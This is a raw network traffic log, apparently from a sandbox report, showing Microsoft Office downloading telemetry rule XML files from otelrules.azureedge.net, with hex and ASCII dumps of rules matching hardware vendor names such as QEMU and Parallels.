3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:13 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: aaf8d828-401e-0016-61be-4253e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035913Z-174f7845968swgbqhC1EWRmnb4000000140000000000dxv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:13 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:13 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 454be365-001e-0065-3d29-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035913Z-174f7845968qj8jrhC1EWRh41s00000013r000000000ptvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:13 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:14 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: fd79bfa2-c01e-0079-5434-41e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035914Z-174f7845968nxc96hC1EWRspw800000013k000000000g4vn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:14 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:14 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 1fbe2e95-401e-0083-4bb4-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035914Z-174f7845968nxc96hC1EWRspw800000013hg00000000kgpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:15 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:14 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035915Z-174f7845968qj8jrhC1EWRh41s00000013u000000000bq55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:15 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:15 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ccb4b789-101e-0028-02af-428f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035915Z-174f7845968xlwnmhC1EWR0sv800000013mg00000000mmre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:15 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:15 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:15 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ef6998ca-401e-0067-5ac5-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035915Z-174f7845968cdxdrhC1EWRg0en00000013rg00000000q07x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:16 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 1e6e7a31-701e-0098-6aa5-43395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035917Z-174f7845968ljs8phC1EWRe6en00000013qg00000000dta0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:16 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:17 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 35239132-b01e-005c-225f-404c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035917Z-174f7845968qj8jrhC1EWRh41s00000013r000000000pu16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:17 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:17 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035917Z-174f7845968xr5c2hC1EWRd0hn0000000nu00000000044r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:17 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:17 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8aad1780-e01e-0020-7ed6-43de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035917Z-174f7845968n2hr8hC1EWR9cag00000013hg000000008zf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:17 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8c8f6d8-301e-0052-3262-4365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035918Z-174f784596886s2bhC1EWR743w00000013u000000000nr2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
